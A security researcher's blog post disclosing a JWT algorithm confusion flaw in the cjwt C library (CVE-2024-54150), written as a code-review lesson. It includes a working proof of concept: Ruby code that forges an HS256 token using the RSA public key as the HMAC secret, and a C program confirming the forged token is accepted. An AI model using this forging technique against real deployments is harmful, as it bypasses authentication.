Recently, I was in Brisbane to give a talk on JWT algorithm confusion vulnerabilities. During a conversation with my friend Luke (whose blog you should definitely check out, especially if you are into Ruby Security, I mentioned how fortunate I felt to have found a real-world example of such a vulnerability for my presentation. I assumed that finding another instance would be highly unlikely, especially after reviewing a fair number of libraries written in weakly-typed languages without success.
However, once again, I was proven wrong. Shifting my focus to libraries written in C, I stumbled upon an interesting one: xmidt-org/cjwt. Upon a quick code review, I noticed some red flags. Sure enough, the library contained a critical algorithm confusion vulnerability.
Algorithm confusion occurs when a system fails to properly verify the type of signature used in a JWT, allowing an attacker to exploit insufficient distinction between different signing methods. For instance, if a server expects an asymmetric algorithm like RS256 but doesn’t enforce proper checks, an attacker could craft a malicious token using an HMAC signature (HS256) and trick the server into validating it with the public key as the HMAC secret.
This vulnerability arises when systems conflate the verification process for HMAC and asymmetric keys, potentially leading to unauthorized access. This risk is further amplified by the possibility of deriving RSA or EC public keys from a few captured signatures.
I recommend reading my previous article: How JWT Libraries Block Algorithm Confusion: Key Lessons for Code Review, It covers the checks libraries can implement to prevent algorithm confusion and will make the following analysis much easier.
The first 🚩🚩 can be found in the example code in code example for RSA inexamples/basic/rs_example.c
:
const char *rs_pub_key =
"-----BEGIN PUBLIC KEY-----\n"
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
"vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
"aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
"tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
"e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
"V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
"MwIDAQAB\n"
"-----END PUBLIC KEY-----";
rv = cjwt_decode(rs_text, strlen(rs_text), 0,
(uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);
We can see that the key is provided as a char *
and that the function cjwt_decode
does not require developers to pick an algorithm.
If we compare this code to the example for HMAC in examples/basic/hs_example.c
, we can see that the code is identical (aside from the variable’s name).:
const char *hs_key = "hs256-secret";
rv = cjwt_decode(hs_text, strlen(hs_text), 0,
(uint8_t *) hs_key, strlen(hs_key), 0, 0, &jwt);
🚩🚩
Now, if we jump to the code of the function cjwt_decode()
in src/cjwt.c
, we can see that the code ends up calling process_header_json()
to retrieve the value of alg
from the JWT’s header:
alg = cJSON_GetObjectItemCaseSensitive(json, "alg");
//[...]
if (0 != alg_to_enum(alg->valuestring, &cjwt->header.alg)) {
return CJWTE_HEADER_UNSUPPORTED_ALG;
}
This is another 🚩.
We can then see that the code used to verify the signature relies on the header we just populated:
cjwt_code_t jws_verify_signature(const cjwt_t *jwt, const struct sig_input *in)
{
switch (jwt->header.alg) {
case alg_es256:
return verify_most(EVP_sha256(), in, EVP_PKEY_EC, 0);
// […]
case alg_hs256:
return verify_hmac(EVP_sha256(), in);
After a quick check to ensure that verify_hmac()
does not have any magic code to try to detect a public key passed as secret. It’s time to write a quick POC.
The following Ruby code demonstrates how to generate a malicious token using HMAC and a public key:
require 'openssl'
require 'base64'
secret_key = "-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----"
message = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg.eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0"
hmac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'),
secret_key, message)
signature_base64 = Base64.urlsafe_encode64(hmac, padding: false)
puts "Signature (Base64): #{signature_base64}"
puts message+'.'+signature_base64
That code prints a malicious token signed using HMAC with the public key from examples/basic/rs_example.c
. We can now use this malicious token in examples/basic/rs_example.c
to make sure the attack works:
#include
#include
#include
#include "cjwt.h"
int main(void)
{
cjwt_t *jwt = NULL;
cjwt_code_t rv;
/* the ps variant is very similar */
const char *rs_text =
/* header */
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg."
/* payload */
"eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l"
"0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0."
/* [OUR MALICIOUS] signature */
"dCJQACrMVrIMf2Jc6s2S_ABf46Csdqmqv-ZNMrTQhPM";
const char *rs_pub_key =
"-----BEGIN PUBLIC KEY-----\n"
"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
"vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
"aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
"tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
"e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
"V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
"MwIDAQAB\n"
"-----END PUBLIC KEY-----";
rv = cjwt_decode(rs_text, strlen(rs_text), 0,
(uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);
if (CJWTE_OK != rv) {
printf("There was an error processing the text: %d\n", rv);
return -1;
}
cjwt_print(stdout, jwt);
cjwt_destroy(jwt);
return 0;
}
It works! A final check to make sure I didn’t miss anything and now it is time to report it! You can find the report here: GHSA-9h24-7qp5-gp82/CVE-2024-54150.
This is a critical point I emphasize in my Security Code Review Training: always challenge assumptions—whether they come from developers or from yourself!
I hope this article inspires you to approach your code reviews with curiosity, critical thinking, and a willingness to question assumptions. This mindset is key to uncovering overlooked vulnerabilities.